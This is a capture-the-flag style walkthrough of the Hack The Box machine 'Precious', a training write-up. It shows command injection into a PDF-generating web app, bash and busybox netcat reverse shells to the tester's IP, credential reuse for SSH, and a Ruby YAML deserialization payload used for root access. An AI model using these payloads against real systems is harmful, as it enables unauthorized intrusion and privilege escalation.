# Precious

Hack-The-Box 52 / 72
3 min read
HTB Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. PHP
Table of Contents
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Precious
  • Difficulty: Easy
  • OS Type: Linux

Port Scanning - Service & Version Enumeration

22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
| 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open http syn-ack ttl 63 nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

port 80 is running http website,, i open URL in web browser

image.png

Hmm, need to add this to /etc/hosts file

echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts

and now refresh the page

image.png

let’s try by starting our python http server on kali machine and send request from this website

image.png

we got connection back to our machine

image.png

let’s dig deep into the application, first i’ll check what web technologies is running using whatweb

whatweb http://precious.htb/
image.png

in backend it’s running ruby on rails and Phusion Passenger, searching for exploit i didn’t find anything useful, let’s check website’s functionaity and behaviour first i’ll create a simple html file to generate the pdf and try to analyze that

<html>
<head>
<title>test</title>
</head>
<body>
<test</h1>
<img src=x>
</body>
</html>

and servs it over python http server

accessing it got the error and when checking on the http web server i found it also request x file

image.png

to resolve this let’s just create a black x file with touch

touch x

and if we try again, we got pdf generated

image.png

i’ll try to analyze the file using exiftool

exiftool ~/Downloads/ea3xg26ufcr3p98d2ism9jlphrlrjvnl.pdf
image.png

searching for exploit i found https://www.exploit-db.com/exploits/51293

and reading through exploit i found that we can inject commands in website like http://%20ping -c 1 10.10.14.17“

and we can capture ICMP traffic on our machine using

sudo tcpdump -i tun0 icmp -v
image.png

and we got ping request means our command gets executed, to ger reverse shell i used - http://%20bash -c ‘bash -i >& /dev/tcp/10.10.14.17/443 0>1&’“ and we got connection on our listener but it disconnects and says permission denied

image.png

used http://%20busybox nc 10.10.14.17 443 -e /bin/bash“ and got shell connection

image.png

further enumeration reveals the credentials of henry user in /home/ruby/.bundle/config

image.png

let’s use this password to login as henry

ssh henry@10.10.11.189
image.png

after getting shell as henry

running sudo -l to find if user has any permissions to run any command as root using sudo - sudo -l

image.png

let’s read the file contents

image.png

i found the exploit note for ruby privilege escalation

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ruby-privilege-escalation/

the above article says that as the file is loading dependencies.yml we can create malicious file that contains below code, as we can see it’s not specifying full path so it will firstly search for file in current working directory

i’m creating dependencies.yml in /tmp folder

- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.17/1337 0>&1'"
method_id: :resolve

and run sudo /usr/bin/ruby /opt/update_dependencies.rb

image.png

got a root shell

Next: Querier
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


Related Writeups

# Bastion

Hack-The-Box 8 / 72
4 min read

Windows Easy machine - Bastion.

HTB Windows Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. CVE A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). PHP NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks.

# **Devvortex**

Hack-The-Box 24 / 72
4 min read

Linux Easy machine - **Devvortex**.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. RCE Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. CVE A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP MySQL

# Help

Hack-The-Box 28 / 72
7 min read

Linux Easy machine - Help.

HTB RCE Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. CVE A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). PHP File Upload A vulnerability where unrestricted file uploads let an attacker plant a web shell or malicious script. SUID A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector.

Comments